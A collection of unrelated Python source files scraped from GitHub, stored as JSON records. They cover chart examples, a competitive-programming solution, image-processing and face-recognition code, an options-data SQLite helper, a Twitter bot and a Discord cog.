{"seq_id":"30677737266","text":"# coding=utf-8\r\nfrom example.commons import Collector, Faker\r\nfrom pyecharts import options as opts\r\nfrom pyecharts.charts import Page, Pie\r\n\r\nC = Collector()\r\n\r\n\r\n@C.funcs\r\ndef pie_base() -> Pie:\r\n    c = (\r\n        Pie()\r\n        .add(\"\", [list(z) for z in zip(Faker.choose(), Faker.values())])\r\n        .set_global_opts(title_opts=opts.TitleOpts(title=\"Pie-基本示例\"))\r\n        .set_series_opts(label_opts=opts.LabelOpts(formatter=\"{b}: {c}\"))\r\n    )\r\n    return c\r\n\r\n\r\n@C.funcs\r\ndef pie_radius() -> Pie:\r\n    c = (\r\n        Pie()\r\n        .add(\r\n            \"\",\r\n            [list(z) for z in zip(Faker.choose(), Faker.values())],\r\n            radius=[\"40%\", \"75%\"],\r\n        )\r\n        .set_global_opts(\r\n            title_opts=opts.TitleOpts(title=\"Pie-Radius\"),\r\n            legend_opts=opts.LegendOpts(\r\n                orient=\"vertical\", pos_top=\"15%\", pos_left=\"2%\"\r\n            ),\r\n        )\r\n        .set_series_opts(label_opts=opts.LabelOpts(formatter=\"{b}: {c}\"))\r\n    )\r\n    return c\r\n\r\n\r\n@C.funcs\r\ndef pie_rosetype() -> Pie:\r\n    v = Faker.choose()\r\n    c = (\r\n        Pie()\r\n        .add(\r\n            \"\",\r\n            [list(z) for z in zip(v, Faker.values())],\r\n            radius=[\"30%\", \"75%\"],\r\n            center=[\"25%\", \"50%\"],\r\n            rosetype=\"radius\",\r\n            label_opts=opts.LabelOpts(is_show=False),\r\n        )\r\n        .add(\r\n            \"\",\r\n            [list(z) for z in zip(v, Faker.values())],\r\n            radius=[\"30%\", \"75%\"],\r\n            center=[\"75%\", \"50%\"],\r\n            rosetype=\"area\",\r\n        )\r\n        .set_global_opts(title_opts=opts.TitleOpts(title=\"Pie-玫瑰图示例\"))\r\n    )\r\n    return c\r\n\r\n\r\nPage().add(*[fn() for fn, _ in C.charts]).render()\r\n","repo_name":"william-xiangzi/NetworkTest","sub_path":"venv/lib/python3.7/site-packages/example/pie_example.py","file_name":"pie_example.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35611315634","text":"import numpy as np\nimport math\n\nline = input().split()\nx1 = int(line[0])\ny1 = int(line[1])\nx2 = int(line[2])\ny2 = int(line[3])\n\na = x2-x1\nb = y2-y1\nr = math.sqrt(a*a + b*b)\n\n\nx3 = x2 - b\ny3 = y2 + a\nx4 = x3 - a\ny4 = y3 - b\n\nprint(\"{} {} {} {}\".format(x3, y3, x4, y4))\n","repo_name":"pn11/benkyokai","sub_path":"competitive/AtCoder/ABC108/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32844343970","text":"# -*- coding: utf-8 -*-\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nimport numpy\nimport cv2\n\ndef Transformation(deg,scale,tx,ty):\n    img = cv2.imread(\"Parrot.png\")\n    cv2.imshow('Original Image',img)\n    (height, weight) = img.shape[:2]\n    \n    T = cv2.getRotationMatrix2D((height/2,weight/2), deg, scale)\n    T[0][2] = ty\n    T[1][2] = tx\n    res = cv2.warpAffine(img,T,(weight,height))\n    cv2.imshow('Image RST',res)\n\nclass Ui_MainWindow(object):\n    def buttonclick(self):\n            deg = int(self.lineEdit.text())\n            scale = float(self.lineEdit_2.text()) \n            tx = int(self.lineEdit_3.text()) \n            ty = int(self.lineEdit_4.text()) \n            Transformation(deg,scale,tx,ty)\n            \n    def setupUi(self, MainWindow):\n        MainWindow.setObjectName(\"MainWindow\")\n        MainWindow.resize(314, 331)\n        self.centralwidget = QtWidgets.QWidget(MainWindow)\n        self.centralwidget.setObjectName(\"centralwidget\")\n        self.groupBox = QtWidgets.QGroupBox(self.centralwidget)\n        self.groupBox.setGeometry(QtCore.QRect(20, 30, 271, 221))\n        self.groupBox.setObjectName(\"groupBox\")\n        self.label = QtWidgets.QLabel(self.groupBox)\n        self.label.setGeometry(QtCore.QRect(20, 40, 58, 15))\n        self.label.setObjectName(\"label\")\n        self.label_2 = QtWidgets.QLabel(self.groupBox)\n        self.label_2.setGeometry(QtCore.QRect(200, 40, 58, 15))\n        self.label_2.setObjectName(\"label_2\")\n        self.lineEdit = QtWidgets.QLineEdit(self.groupBox)\n        self.lineEdit.setGeometry(QtCore.QRect(80, 40, 113, 22))\n        self.lineEdit.setObjectName(\"lineEdit\")\n        self.label_3 = QtWidgets.QLabel(self.groupBox)\n        self.label_3.setGeometry(QtCore.QRect(20, 80, 58, 15))\n        self.label_3.setObjectName(\"label_3\")\n        self.lineEdit_2 = QtWidgets.QLineEdit(self.groupBox)\n        self.lineEdit_2.setGeometry(QtCore.QRect(80, 80, 113, 22))\n        self.lineEdit_2.setObjectName(\"lineEdit_2\")\n        self.label_4 = QtWidgets.QLabel(self.groupBox)\n        self.label_4.setGeometry(QtCore.QRect(20, 120, 58, 15))\n        self.label_4.setObjectName(\"label_4\")\n        self.lineEdit_3 = QtWidgets.QLineEdit(self.groupBox)\n        self.lineEdit_3.setGeometry(QtCore.QRect(80, 120, 113, 22))\n        self.lineEdit_3.setObjectName(\"lineEdit_3\")\n        self.label_5 = QtWidgets.QLabel(self.groupBox)\n        self.label_5.setGeometry(QtCore.QRect(200, 120, 58, 15))\n        self.label_5.setObjectName(\"label_5\")\n        self.label_7 = QtWidgets.QLabel(self.groupBox)\n        self.label_7.setGeometry(QtCore.QRect(20, 160, 58, 15))\n        self.label_7.setObjectName(\"label_7\")\n        self.label_6 = QtWidgets.QLabel(self.groupBox)\n        self.label_6.setGeometry(QtCore.QRect(200, 160, 58, 15))\n        self.label_6.setObjectName(\"label_6\")\n        self.lineEdit_4 = QtWidgets.QLineEdit(self.groupBox)\n        self.lineEdit_4.setGeometry(QtCore.QRect(80, 160, 113, 22))\n        self.lineEdit_4.setObjectName(\"lineEdit_4\")\n        self.pushButton = QtWidgets.QPushButton(self.centralwidget)\n        self.pushButton.setGeometry(QtCore.QRect(40, 260, 231, 28))\n        self.pushButton.setObjectName(\"pushButton\")\n        self.pushButton.clicked.connect(self.buttonclick)\n        print(self.lineEdit.text)\n        MainWindow.setCentralWidget(self.centralwidget)\n        self.statusbar = QtWidgets.QStatusBar(MainWindow)\n        self.statusbar.setObjectName(\"statusbar\")\n        MainWindow.setStatusBar(self.statusbar)\n\n        self.retranslateUi(MainWindow)\n        QtCore.QMetaObject.connectSlotsByName(MainWindow)\n        \n\n    def retranslateUi(self, MainWindow):\n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"HW - Q4\"))\n        self.groupBox.setTitle(_translate(\"MainWindow\", \"4. Transformation\"))\n        self.label.setText(_translate(\"MainWindow\", \"Rotation:\"))\n        self.label_2.setText(_translate(\"MainWindow\", \"deg\"))\n        self.label_3.setText(_translate(\"MainWindow\", \"Scaling:\"))\n        self.label_4.setText(_translate(\"MainWindow\", \"Tx:\"))\n        self.label_5.setText(_translate(\"MainWindow\", \"pixel\"))\n        self.label_7.setText(_translate(\"MainWindow\", \"Ty:\"))\n        self.label_6.setText(_translate(\"MainWindow\", \"pixel\"))\n        self.pushButton.setText(_translate(\"MainWindow\", \"4. Transformation\"))\n\n\nif __name__ == \"__main__\":\n    import sys\n    app = QtWidgets.QApplication(sys.argv)\n    MainWindow = QtWidgets.QMainWindow()\n    ui = Ui_MainWindow()\n    ui.setupUi(MainWindow)\n    MainWindow.show()\n    app.exec_()\n\n","repo_name":"zhu849/NCKU-image-process","sub_path":"HW1/Q4/Q4_code.py","file_name":"Q4_code.py","file_ext":"py","file_size_in_byte":4587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37805752951","text":"from main import app, cap  # Use when upload to Google App Engine\nfrom controllers import predict\nfrom flask import Response\n\nimport os\nimport cv2\nimport numpy as np\nimport time\nimport face_recognition\nimport tensorflow as tf\n\n\n@app.route('/streaming')\ndef streaming_result():\n    return Response(main_stream(),\n                    mimetype='multipart/x-mixed-replace; boundary=frame')\n\n\ndef draw_label(image, top_left, botom_right, label, font=cv2.FONT_HERSHEY_SIMPLEX, font_scale=0.8, thickness=2):\n    # size = cv2.getTextSize(label, font, font_scale, thickness)[0]\n    cv2.rectangle(image, top_left, botom_right, (255, 0, 0), 1)\n    cv2.putText(image, label, (top_left[0], top_left[1] - 15), font, font_scale, (255, 0, 0), 1, lineType=cv2.LINE_AA)\n    return image\n\n\ndef nearest_standing(image, detections, alpha):\n    \"\"\" Find the maximum anchor box in picture to identify the nearest person\n    \"\"\"\n    border_nearest, center_x_nearest, center_y_nearest = 0, 0, 0\n    for i in range(0, detections.shape[2]):\n        confidence = detections[0, 0, i, 2]\n        height, width, channel = image.shape\n        if confidence > 0.5:\n            box = detections[0, 0, i, 3:7] * np.array([width, height, width, height])\n            left, top, right, bottom = box.astype(\"int\")\n            center_x = int((right + left) / 2)\n            center_y = int((top + bottom) / 2)\n            border = int((right - left) * alpha)\n\n            if border > border_nearest:\n                border_nearest, center_x_nearest, center_y_nearest = border, center_x, center_y\n\n    x_right, y_up = int(center_x_nearest + border_nearest / 2), int(center_y_nearest - border_nearest / 2)\n    x_left, y_down = int(center_x_nearest - border_nearest / 2), int(center_y_nearest + border_nearest / 2)\n\n    detected_nearest_face = False\n    nearest_face = 0\n    if x_left > 0 and x_left + border_nearest < width and y_up > 0 and y_up + border_nearest < height:\n        nearest_face = image[y_up: y_up + border_nearest, x_left: x_left + border_nearest]\n        detected_nearest_face = True\n\n    return detected_nearest_face, nearest_face, (x_left, y_up), (x_right, y_down)\n\n\ndef main_stream():\n    \"\"\"\n    Streaming results to image tag\n    :param :\n    :return: flow of video frame\n    \"\"\"\n    # ID verification\n    previous_id = np.zeros(shape=(1, 128))\n    detected_id_threshold = -0.9\n    id_count = 0\n\n    frame_rate = 25  # adjust frame rate from camera\n    prev = 0\n    alpha = 1.5  # border of face\n\n    while True:\n        time_elapsed = time.time() - prev  #\n        ret, image = cap.read()  # get video frame\n        if time_elapsed > 1. / frame_rate:\n            prev = time.time()\n\n            _, detections = predict.face_detector(image)  # detect face in a picture\n            detected, crop_face, top_left, bottom_right = nearest_standing(image, detections, alpha)\n\n            content = \"\"\n            if detected:\n                vector_face = face_recognition.face_encodings(crop_face)\n                if vector_face:\n                    age_prob = predict.predict_age_id(crop_face)\n                    gender_prob = predict.predict_gender(crop_face)\n                    text_gender = \"M\" if gender_prob[0][0] > 0.5 else \"F\"\n                    text_age = str(np.argmax(age_prob[0]))\n\n                    detected_id = tf.keras.losses.cosine_similarity(previous_id, vector_face[0]).numpy()\n\n                    if detected_id > detected_id_threshold:\n                        id_count += 1\n                    previous_id = vector_face[0]\n\n                    content = \"G: \" + text_gender + \", R: \" + text_age + \", ID: \" + str(id_count)\n                    image = draw_label(image, top_left, bottom_right, content)\n\n            if not ret:\n                print(\"Error: failed to capture image\")\n                break\n\n            yield (b'--frame\\r\\n'\n                   b'Content-Type: image/jpeg\\r\\n\\r\\n' + cv2.imencode('.jpg', image)[1].tostring() + b'\\r\\n')\n","repo_name":"TranLySFW/demographic_information","sub_path":"app/controllers/streaming.py","file_name":"streaming.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"21628870446","text":"import pytest\nfrom unittest.mock import Mock\nfrom datetime import datetime\n\nfrom kindleremind.api.post_api_key.service import PostApiKeyService\nfrom tests.api.common_fixtures import doc_id\n\n\n@pytest.fixture()\ndef api_key(doc_id):\n    return {\n        'id': doc_id,\n        'name': 'The name',\n        'value': 'The value',\n        'createdAt': datetime.now()\n    }\n\n\n@pytest.fixture()\ndef instance(api_key):\n    storage = Mock()\n    storage.save_api_key.return_value = api_key\n\n    return PostApiKeyService(storage)\n\n\ndef test_saves_api_key_using_storage(instance):\n    input_name = 'Input API Key name'\n    instance.save_api_key(input_name)\n\n    assert instance.storage.save_api_key.call_args.args[0] == input_name\n\n\ndef test_returns_complete_api_key_record(instance, api_key, doc_id):\n    input_name = 'Input API Key name'\n    result = instance.save_api_key(input_name)\n\n    assert result == {\n        'id': doc_id,\n        'name': api_key['name'],\n        'value': api_key['value'],\n        'createdAt': api_key['createdAt'].isoformat()\n    }\n","repo_name":"walterdl/kindleremind","sub_path":"server/tests/api/post_api_key/service_test.py","file_name":"service_test.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"11216157519","text":"import os\nfrom PIL import Image\nfrom moviepy.editor import VideoFileClip\n\ndef convert_mp4_to_gif(mp4_path, gif_path):\n    try:\n        clip = VideoFileClip(mp4_path)\n        clip.write_gif(gif_path)\n        print(f\"Converted {mp4_path} to {gif_path}\")\n    except Exception as e:\n        print(f\"Failed to convert {mp4_path} to GIF: {e}\")\n\ndef find_mp4_files(root_folder):\n    mp4_files = []\n    \n    for root, dirs, files in os.walk(root_folder):\n        for file in files:\n            if file.lower().endswith(\".mp4\"):\n                mp4_files.append(os.path.join(root, file))\n    return mp4_files\n\ndef main(root_folder):\n    mp4_files = find_mp4_files(root_folder)\n    for mp4_file in mp4_files:\n        gif_file = mp4_file[:-3] + \"gif\"\n        convert_mp4_to_gif(mp4_file, gif_file)\n\nif __name__ == \"__main__\":\n    # Replace 'path_to_your_folder' with the root folder containing all your folders with MP4 files.\n    main(\"classic/results\")\n","repo_name":"victorvieirat/aprendizado-por-reforco","sub_path":"classic/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25853910795","text":"if __name__ == '__main__':\n    import world_gov_bonds\n    import my_maps\n    import twitter\n    import poland_bonds\nelse:\n    from . import world_gov_bonds\n    from . import my_maps\n    from . import twitter\n    from . import poland_bonds\n\nimport traceback\nimport time\nimport os\nfrom datetime import datetime as dt\n\n\ndef post_poland_yield_curve(client, api):\n\n    print('starting post_poland_yield_curve')\n    poland_bonds.do_chart()\n\n    text = '''❕ POLAND YIELD CURVE ❕\\n\n🗨 Rentowność polskich obligacji skarbowych i jej zmiana w ostanim miesiącu. 🗨\n\nsource: worldgovernmentbonds.com\n#yield #poland #NBP #bonds #python #project'''\n\n    to_post = ['poland_yield_curve.png']\n    twitter.tweet_things(client, api, text, to_post)\n    print('chart tweeted')\n\n    os.remove('poland_yield_curve.png')\n    print('chart removed')\n\n\ndef post_cb_rates_map_changes(client, api):\n\n    cb_rates = world_gov_bonds.get_cb_rates_and_changes()\n    my_maps.chart_stuff_on_map(cb_rates, 0, 'cb_rates_map', 'Central Bank Interest Rates', russia=True)\n\n    cb_rates_changes = cb_rates[cb_rates.Period == 'Jan 23'].dropna()\n    t = ''\n    for indx, value in cb_rates_changes.iterrows():\n        v = int(value[1])\n        if v > 0:\n            t += f'{indx} +{v} bp\\n'\n        else:\n            t += f'{indx} -{v} bp\\n'\n\n    text = f'''JAK ZMIENIŁY SIĘ STOPY PROCENTOWE BANKÓW CENTRALNYCH W OSTANIM MIESIĄCU?\n\n{t}\n#interest_rates #central_banks #python #project'''\n\n    print(text)\n\n    print('\\n', len(text))\n    # twitter.tweet_things(client, api, text, 'makro_bot/cb_rates_map.png')\n    # print('chart tweeted')\n    # os.remove('makro_bot/cb_rates_map.png')\n    # print('chart removed')\n\n\n    pass\n\n\ndef clean_dir_from_pngs():\n    '''remove all pngs'''\n    pictures = [x for x in os.listdir() if x.endswith('.png')]\n\n    for picture in pictures:\n        os.remove(picture)\n\n\ndef main(client, api):\n    \n    print('STARTING MAIN MAKRO_BOT')\n\n    td = dt.today()\n\n    time.sleep(2)\n    # w niedziele\n    try:\n        if td.isoweekday() == 7:\n            post_poland_yield_curve(client, api)\n        else:\n            print('dzisiaj bez postowania poland_yield_curve')\n    except Exception as e:\n        print('\\npost_poland_yield_curve ZAKONCZONE NIEPOWODZENIEM\\n')\n        traceback.print_exception(e)\n        print()\n        clean_dir_from_pngs()\n        print('cleaned dir from pngs')\n\n    else:\n        print('post_poland_yield_curve zakonczone sukcesem')\n\n\n    print('\\nZAKONCZONO MAKRO MAIN')\n\n\nif __name__ == '__main__':\n    pass","repo_name":"viseryon/twitter_bott","sub_path":"makro_bot/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72718635620","text":"class wall:\n    ch = '#' #character used to represent this object\n        \n    def insert_into(self,board):\n        #Outer Walls\n        board[0:2][0:76] = self.ch\n        board[36:38][0:76] = self.ch\n\n        #Inner Walls\n        for i in range(2,36):\n            board[i][0:4] = self.ch\n            board[i][72:76] = self.ch\n\n            if(i%4 == 0):\n                j = 8\n                while(j<76):\n                    board[i][j:j+4] = self.ch\n                    board[i+1][j:j+4] = self.ch\n                    j += 8\n","repo_name":"khannatanmai/bomberman-game","sub_path":"wall.py","file_name":"wall.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34077660553","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Sep 21 15:50:35 2019\r\n\r\nFond where a query substring matches identically in a sequence string and \r\nreturn the index of that match.\r\n\r\n@author: Jess\r\n\"\"\"\r\n\r\nfile = open(\"rosalind_subs.txt\", \"r\")\r\nlistoflists = []\r\nfor seq in (file.read().splitlines()):\r\n    listofbases = []\r\n    for base in seq:\r\n        listofbases.append(base)\r\n    listoflists.append(listofbases)\r\nseq = listoflists[0]\r\nquery = listoflists[1]\r\n\r\nwindow = len(query)\r\nfor index in range(0, len(seq)):\r\n    if seq[index: index+window] == query:\r\n        print(index+1)\r\n\r\nfile.close()","repo_name":"jessalyn298/Rosalind-Python-Scripts","sub_path":"Scripts/substrings.py","file_name":"substrings.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"69922730022","text":"\"\"\"\nCreated on Jan 11, 2017\n\n@author: Souvik\n\"\"\"\n\nimport sqlite3\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\n\nclass OptionsHist:\n    \"\"\" Historical options data\"\"\"\n\n    # variables\n\n    columns = [\"symbol\", \"expiry\", \"type\", \"date\", \"strikeprice\", \"open\", \"high\", \"low\", \"close\", \"ltp\",\n               \"settleprice\", \"number_of_contracts\", \"turnover\", \"premium_turnover\", \"open_interest\",\n               \"change_in_oi\", \"underlying\"]\n\n    def __init__(self, db):\n\n        # variables\n        self.conn = None\n\n        print('OptionsHist.__init__', db)\n        self.conn = sqlite3.connect(db)\n\n    def read(self, symbol, **kwargs):\n        \"\"\" Return data based on input \"\"\"\n\n        qry = '''SELECT * FROM opthist WHERE symbol={}'''.format(symbol)\n\n        for field, val in kwargs.items():\n            print('OptionsHist.read', field, \": \", val)\n            qry += ' AND {} = {}'.format(field, val)\n            # qry = qry + ' AND {} = {}'.format(field, val)\n\n        c = self.conn.cursor()\n        c.execute(qry)\n        rows = c.fetchall()\n\n    def expiry_month(self, date):\n\n        expiry = datetime.strptime(date, '%Y-%m-%d')\n\n        if expiry.day > 10:\n            nxtExpiry = expiry.replace(day=1)\n            nxtExpiry = nxtExpiry + relativedelta(months=1)\n        else:\n            nxtExpiry = expiry\n\n        return nxtExpiry.strftime('%Y-%m-%d')\n\n\n    def expiry_month_new(self, date, n, midmonth_cutoff=10):\n\n        expiry = datetime.strptime(date, '%Y-%m-%d')\n        exp_month_start, exp_month_end = expiry.replace(day=1), expiry.replace(day=1)\n        if expiry.day > midmonth_cutoff and n == 0:\n            exp_month_start = exp_month_start + relativedelta(months=1)\n            exp_month_end = exp_month_end + relativedelta(months=2)\n        else:\n            exp_month_start = exp_month_start + relativedelta(months=n)\n            exp_month_end = exp_month_end + relativedelta(months=n+1)\n\n        return [exp_month_start.strftime('%Y-%m-%d'), exp_month_end.strftime('%Y-%m-%d')]\n\n\n    def immediate_opt(self, symbol, **kwargs):\n        \"\"\" Return immediate immediate option data \"\"\"\n\n        qry = '''SELECT * FROM opthist WHERE symbol={}'''.format(symbol)\n\n        orderby = None\n\n        for field, val in kwargs.items():\n            #print(\"# \", field, val)\n\n            if field == \"date\":\n                qry += ' AND {} > {}'.format(\"date\", val)\n                qry += r\" AND {} > '{}'\".format(\"expiry\", self.expiry_month(val[1:11]))\n            elif field == \"close\":\n                if kwargs['type'] == r\"'CE'\":\n                    compare, orderby = '>=', 'ASC'\n                    \"\"\"\n                    if val % 100 < 50:\n                        val = val - val % 100 + 50\n                    else:\n                        val = val - val % 100 + 100\n                    \"\"\"\n                    val = val - val % 100 + 100\n                else:\n                    compare, orderby = '<=', 'DESC'\n                    \"\"\"\n                    if val % 100 < 50:\n                        val -= val % 100\n                    else:\n                        val = val - val % 100 + 50\n                    \"\"\"\n                    val = val - val % 100 + 50\n\n                qry += ' AND {} {} {}'.format(\"strikeprice\", compare, val)\n            else:\n                qry += ' AND {} = {}'.format(field, val)\n\n        qry += ' ORDER BY expiry ASC, date ASC, strikeprice {} LIMIT 1'.format(orderby)\n\n        c = self.conn.cursor()\n        c.execute(qry)\n        rows = c.fetchall()\n\n        return dict(zip(OptionsHist.columns, rows[0]))\n\n\n    def nth_opt(self, nth_expiry, nth_strike, midmonth_cutoff, entrytime, **kwargs):\n        \"\"\" Return nth option data \"\"\"\n\n        qry = '''SELECT * FROM opthist WHERE'''\n\n        for field, val in kwargs.items():\n            #print(\"# \", field, val)\n\n            if field == \"symbol\":\n                qry += ' {} = {}'.format(field, val)\n            elif field == \"date\":\n                compare = '=' if entrytime=='eod' else '>'\n                qry += ' AND {} {} {}'.format(\"date\", compare, val)\n                qry += r\" AND {} BETWEEN '{}' AND '{}'\".format(\n                    \"expiry\",\n                    self.expiry_month_new(val[1:11], nth_expiry, midmonth_cutoff)[0],\n                    self.expiry_month_new(val[1:11], nth_expiry, midmonth_cutoff)[1]\n                )\n            elif field == \"close\":\n                if kwargs['type'] == r\"'CE'\":\n                    val = val - val % 100 + 100 * (nth_strike + 1)\n                else:\n                    val = val - val % 100 - 100 * nth_strike\n                qry += ' AND strikeprice = {}'.format(val)\n            else:\n                qry += ' AND {} = {}'.format(field, val)\n\n        qry += ' ORDER BY date ASC, expiry ASC  LIMIT 1'\n\n        c = self.conn.cursor()\n        c.execute(qry)\n        rows = c.fetchall()\n\n        return dict(zip(OptionsHist.columns, rows[nth_expiry]))\n\n    def option_exit_data(self, option_entry, exit_date):\n\n        qry = \"\"\"SELECT * FROM opthist WHERE symbol = '{}' AND expiry = '{}' AND type = '{}' AND date > '{}' AND \"\"\" \\\n              \"\"\"strikeprice = {} ORDER BY date ASC LIMIT 1\"\"\".format(option_entry['symbol'], option_entry['expiry'],\n                                                              option_entry['type'], exit_date,\n                                                              option_entry['strikeprice'])\n\n        c = self.conn.cursor()\n        c.execute(qry)\n        rows = c.fetchall()\n\n        return dict(zip(OptionsHist.columns, rows[0]))\n\n    def option_data_between_entry_exit(self, trade):\n\n        qry = \"\"\"SELECT * FROM opthist WHERE symbol = '{}' AND expiry = '{}' AND type = '{}' AND date > '{}' AND \"\"\" \\\n              \"\"\"date < '{}' AND strikeprice = {} ORDER BY date ASC\"\"\".format(trade['entry']['symbol'],\n                                                                            trade['entry']['expiry'],\n                                                                            trade['entry']['type'],\n                                                                            trade['entry']['date'],\n                                                                            trade['exit']['date'],\n                                                                            trade['entry']['strikeprice'])\n\n        c = self.conn.cursor()\n        c.execute(qry)\n        rows = c.fetchall()\n\n        transposed_rows = list(zip(*rows))\n\n        d = dict(zip(OptionsHist.columns, transposed_rows))\n\n        return d\n\n\n    def option_data_post_entry(self, trade):\n        \"\"\"Return option data for all dates till expiry starting from entry date + 1\n                Return format: {'symbol': (day1, day2, ..., expiryday),\n                                'expiry': (day1, day2, ..., expiryday),\n                                'type': (), 'strikeprice': (), 'open': (), 'high': (), 'low': (), 'close': (),'ltp': (),\n                                . . . . ., 'position': {day1 in YYYY-MM-DD: position index,\n                                                        day2 in YYYY-MM-DD: position index,\n                                                        .....,\n                                                        expiryday in YYYY-MM-DD: position index}\n        \"\"\"\n\n        qry = \"\"\"SELECT * FROM opthist WHERE symbol = '{}' AND expiry = '{}' AND type = '{}' AND date > '{}' AND \"\"\" \\\n              \"\"\"strikeprice = {} ORDER BY date ASC\"\"\".format(trade['entry']['symbol'],\n                                                              trade['entry']['expiry'],\n                                                              trade['entry']['type'],\n                                                              trade['entry']['date'],\n                                                              trade['entry']['strikeprice'])\n\n        c = self.conn.cursor()\n        c.execute(qry)\n        rows = c.fetchall()\n\n        transposed_rows = list(zip(*rows))\n\n        d = dict(zip(OptionsHist.columns, transposed_rows))\n\n        return d\n\n","repo_name":"csvk/iTrade","sub_path":"source/opthist.py","file_name":"opthist.py","file_ext":"py","file_size_in_byte":8091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27579414066","text":"import discord\nfrom discord.ext import commands\nimport json\nimport os\nimport random\nimport re\nimport sys\n\nfrom typing import List, Dict, Union, Optional\n\nsys.path.insert(0, os.path.abspath(\n    os.path.join(os.path.dirname(__file__), '.')))\n\nfrom clogger import clogger\nfrom split_text import split_text\n\n\ndef strip_tags(string):\n    \"\"\"\n    This function will strip all html tags from string returning the inner html text using regex only.\n    \"\"\"\n    return re.sub('<.*?>', '', string)\n\n\nclass PowerSearch(commands.Cog):\n    \"\"\"Power Cog\"\"\"\n\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.command(aliases=[\"powers\"])\n    async def power(self, ctx, *, name: str):\n        \"\"\"Searches for a power in the database.\"\"\"\n        search_message = await ctx.send(f\"```Searching for power: `{name}`...```\")\n\n        # Load the database.\n        with open(\"/home/dev/Code/powerswikia/powers.json\", \"r\") as f:\n            powers = json.load(f)\n\n        # Search for the power in the database.\n        for power in powers:\n            # If the name is found, send an embed with the power's information.\n            try:\n                akas_lower = [p.lower()\n                              for p in power[\"attributes\"][\"also_called\"]]\n            except Exception as e:\n                akas_lower = []\n\n            clogger(akas_lower)\n\n            if name.lower() == power[\"name\"].lower() or name.lower() in akas_lower:\n                # Create an embed with the power's information.\n                img_path = power[\"image\"]\n                image_path = f\"/home/dev/Code/powerswikia/{img_path}\"\n                print(image_path)\n                description = None\n                quote_string_list = []\n                if len(power[\"quotes\"]):\n                    for quote_list in power[\"quotes\"]:\n                        quote = strip_tags(quote_list[0].replace(\"<br>\", \"\\n\"))\n                        author = strip_tags(quote_list[1])\n                        work = strip_tags(quote_list[2])\n\n                        quote_string_list.append(\n                            f\"**\\\"{quote}\\\"**\\n\\t```*-{author}, ({work})*```\")\n\n                description = power[\"description\"] + \\\n                    \"\\n\\n\" + \"\\n\".join(quote_string_list)\n\n                embed = discord.Embed(\n                    title=power[\"name\"], url=power[\"url\"], description=description)\n                if image_path:\n                    embed.set_image(url=f\"attachment://{image_path}\")\n                send_list = [embed, ]\n\n                # Add all of the attributes to the embed.\n                # for attribute in power[\"attributes\"]:\n                #     if power[\"attributes\"][attribute]:\n                #         # Create a string to add all of the values to.\n                #         value = \"\"\n                #         # Add each value to the string and separate them by a comma and space.\n                #         attr_embed = discord.Embed(title=attribute.title().replace(\"_\", \" \"), url=power[\"url\"])\n                #         for v in power[\"attributes\"][attribute]:\n                #             if len(v):\n                #                 attr_embed.add_field(name=\"\\u200b\", value=v, inline=False)\n                #         send_list.append(attr_embed)\n\n                # Send the embeds and return out of the function.\n                await search_message.delete()\n                for idx, e in enumerate(send_list):\n                    if idx == 0:\n                        if image_path:\n                            await ctx.send(file=discord.File(image_path), embed=e)\n                        else:\n                            await ctx.send(embed=e)\n                    else:\n                        await ctx.send(embed=e)\n                return\n\n        # If no power is found, send an error message and return out of the function.\n        await ctx.send(f\"```No power called `{name}` was found.```\", delete_after=5.0)\n\n    @commands.command(aliases=[\"randompowers\"])\n    async def randompower(self, ctx):  # TODO: Add a random power command.\n        \"\"\"Sends a random power from the database.\"\"\"\n        await ctx.send(f\"```Searching for a random power...```\", delete_after=5.0)\n\n        # Load the database.\n        with open(\"/home/dev/Code/powerswikia/powers.json\", \"r\") as f:\n            powers = json.load(f)\n\n        # Get a random power from the database and send an embed with it's information.\n        random_power = powers[random.randint(0, len(powers))]\n        img_path = random_power[\"image\"]\n        image_path = f\"/home/dev/Code/powerswikia/{img_path}\"\n        description = None\n        quote_string_list = []\n        if len(random_power[\"quotes\"]):\n            for quote_list in random_power[\"quotes\"]:\n                quote = strip_tags(quote_list[0].replace(\"<br>\", \"\\n\"))\n                author = strip_tags(quote_list[1])\n                work = strip_tags(quote_list[2])\n\n                quote_string_list.append(\n                    f\"**\\\"{quote}\\\"**\\n\\t```*-{author}, ({work})*```\")\n\n        description = \"\\n\\n\\n\".join(quote_string_list)\n\n        # Get a random power from the database and send an embed with it's information.\n        e = discord.Embed(\n            title=random_power[\"name\"], url=random_power[\"url\"], description=description)\n        if image_path:\n            e.set_image(url=f\"attachment:/{image_path}\")\n            await ctx.send(file=discord.File(image_path), embed=e)\n        else:\n            await ctx.send(embed=e)\n\n\ndef setup(client):\n    client.add_cog(PowerSearch(client))\n","repo_name":"mudkippzs/fatebot","sub_path":"cogs/power.py","file_name":"power.py","file_ext":"py","file_size_in_byte":5543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
